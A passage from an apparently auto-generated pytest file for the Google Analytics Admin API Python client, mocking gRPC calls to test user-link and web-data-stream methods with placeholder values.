credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink(
name="name_value",
email_address="email_address_value",
direct_roles=["direct_roles_value"],
)
response = client.update_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateUserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.UserLink)
assert response.name == "name_value"
assert response.email_address == "email_address_value"
assert response.direct_roles == ["direct_roles_value"]
def test_update_user_link_from_dict():
test_update_user_link(request_type=dict)
def test_update_user_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
client.update_user_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateUserLinkRequest()
@pytest.mark.asyncio
async def test_update_user_link_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.UpdateUserLinkRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.UserLink(
name="name_value",
email_address="email_address_value",
direct_roles=["direct_roles_value"],
)
)
response = await client.update_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateUserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.UserLink)
assert response.name == "name_value"
assert response.email_address == "email_address_value"
assert response.direct_roles == ["direct_roles_value"]
@pytest.mark.asyncio
async def test_update_user_link_async_from_dict():
await test_update_user_link_async(request_type=dict)
def test_update_user_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateUserLinkRequest()
request.user_link.name = "user_link.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
call.return_value = resources.UserLink()
client.update_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "user_link.name=user_link.name/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_update_user_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateUserLinkRequest()
request.user_link.name = "user_link.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.UserLink())
await client.update_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "user_link.name=user_link.name/value",) in kw[
"metadata"
]
def test_update_user_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_user_link(user_link=resources.UserLink(name="name_value"),)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].user_link == resources.UserLink(name="name_value")
def test_update_user_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_user_link(
analytics_admin.UpdateUserLinkRequest(),
user_link=resources.UserLink(name="name_value"),
)
@pytest.mark.asyncio
async def test_update_user_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.UserLink())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_user_link(
user_link=resources.UserLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].user_link == resources.UserLink(name="name_value")
@pytest.mark.asyncio
async def test_update_user_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_user_link(
analytics_admin.UpdateUserLinkRequest(),
user_link=resources.UserLink(name="name_value"),
)
def test_batch_update_user_links(
transport: str = "grpc", request_type=analytics_admin.BatchUpdateUserLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_update_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.BatchUpdateUserLinksResponse()
response = client.batch_update_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchUpdateUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.BatchUpdateUserLinksResponse)
def test_batch_update_user_links_from_dict():
test_batch_update_user_links(request_type=dict)
def test_batch_update_user_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_update_user_links), "__call__"
) as call:
client.batch_update_user_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchUpdateUserLinksRequest()
@pytest.mark.asyncio
async def test_batch_update_user_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.BatchUpdateUserLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_update_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.BatchUpdateUserLinksResponse()
)
response = await client.batch_update_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchUpdateUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.BatchUpdateUserLinksResponse)
@pytest.mark.asyncio
async def test_batch_update_user_links_async_from_dict():
await test_batch_update_user_links_async(request_type=dict)
def test_batch_update_user_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchUpdateUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_update_user_links), "__call__"
) as call:
call.return_value = analytics_admin.BatchUpdateUserLinksResponse()
client.batch_update_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_update_user_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchUpdateUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_update_user_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.BatchUpdateUserLinksResponse()
)
await client.batch_update_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_delete_user_link(
transport: str = "grpc", request_type=analytics_admin.DeleteUserLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteUserLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_user_link_from_dict():
test_delete_user_link(request_type=dict)
def test_delete_user_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
client.delete_user_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteUserLinkRequest()
@pytest.mark.asyncio
async def test_delete_user_link_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.DeleteUserLinkRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteUserLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_user_link_async_from_dict():
await test_delete_user_link_async(request_type=dict)
def test_delete_user_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteUserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
call.return_value = None
client.delete_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_user_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteUserLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_user_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_user_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_user_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_user_link(
analytics_admin.DeleteUserLinkRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_user_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_user_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_user_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_user_link(
analytics_admin.DeleteUserLinkRequest(), name="name_value",
)
def test_batch_delete_user_links(
transport: str = "grpc", request_type=analytics_admin.BatchDeleteUserLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_delete_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.batch_delete_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchDeleteUserLinksRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_batch_delete_user_links_from_dict():
test_batch_delete_user_links(request_type=dict)
def test_batch_delete_user_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_delete_user_links), "__call__"
) as call:
client.batch_delete_user_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchDeleteUserLinksRequest()
@pytest.mark.asyncio
async def test_batch_delete_user_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.BatchDeleteUserLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_delete_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.batch_delete_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchDeleteUserLinksRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_batch_delete_user_links_async_from_dict():
await test_batch_delete_user_links_async(request_type=dict)
def test_batch_delete_user_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchDeleteUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_delete_user_links), "__call__"
) as call:
call.return_value = None
client.batch_delete_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_delete_user_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchDeleteUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_delete_user_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.batch_delete_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_get_web_data_stream(
transport: str = "grpc", request_type=analytics_admin.GetWebDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream(
name="name_value",
measurement_id="measurement_id_value",
firebase_app_id="firebase_app_id_value",
default_uri="default_uri_value",
display_name="display_name_value",
)
response = client.get_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.WebDataStream)
assert response.name == "name_value"
assert response.measurement_id == "measurement_id_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.default_uri == "default_uri_value"
assert response.display_name == "display_name_value"
def test_get_web_data_stream_from_dict():
test_get_web_data_stream(request_type=dict)
def test_get_web_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
client.get_web_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetWebDataStreamRequest()
@pytest.mark.asyncio
async def test_get_web_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetWebDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream(
name="name_value",
measurement_id="measurement_id_value",
firebase_app_id="firebase_app_id_value",
default_uri="default_uri_value",
display_name="display_name_value",
)
)
response = await client.get_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.WebDataStream)
assert response.name == "name_value"
assert response.measurement_id == "measurement_id_value"
assert response.firebase_app_id == "firebase_app_id_value"
assert response.default_uri == "default_uri_value"
assert response.display_name == "display_name_value"
@pytest.mark.asyncio
async def test_get_web_data_stream_async_from_dict():
await test_get_web_data_stream_async(request_type=dict)
def test_get_web_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetWebDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
call.return_value = resources.WebDataStream()
client.get_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_web_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetWebDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream()
)
await client.get_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_web_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_web_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_web_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_web_data_stream(
analytics_admin.GetWebDataStreamRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_web_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.WebDataStream()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.WebDataStream()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_web_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_web_data_stream_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_web_data_stream(
analytics_admin.GetWebDataStreamRequest(), name="name_value",
)
def test_delete_web_data_stream(
transport: str = "grpc", request_type=analytics_admin.DeleteWebDataStreamRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_web_data_stream_from_dict():
test_delete_web_data_stream(request_type=dict)
def test_delete_web_data_stream_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_web_data_stream), "__call__"
) as call:
client.delete_web_data_stream()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteWebDataStreamRequest()
@pytest.mark.asyncio
async def test_delete_web_data_stream_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteWebDataStreamRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteWebDataStreamRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_web_data_stream_async_from_dict():
await test_delete_web_data_stream_async(request_type=dict)
def test_delete_web_data_stream_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteWebDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_web_data_stream), "__call__"
) as call:
call.return_value = None
client.delete_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_web_data_stream_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteWebDataStreamRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_web_data_stream), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_web_data_stream(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_web_data_stream_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_web_data_stream), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_web_data_stream(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_web_data_stream_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_web_data_stream(
analytics_admin.DeleteWebDataStreamRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_web_data_stream_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
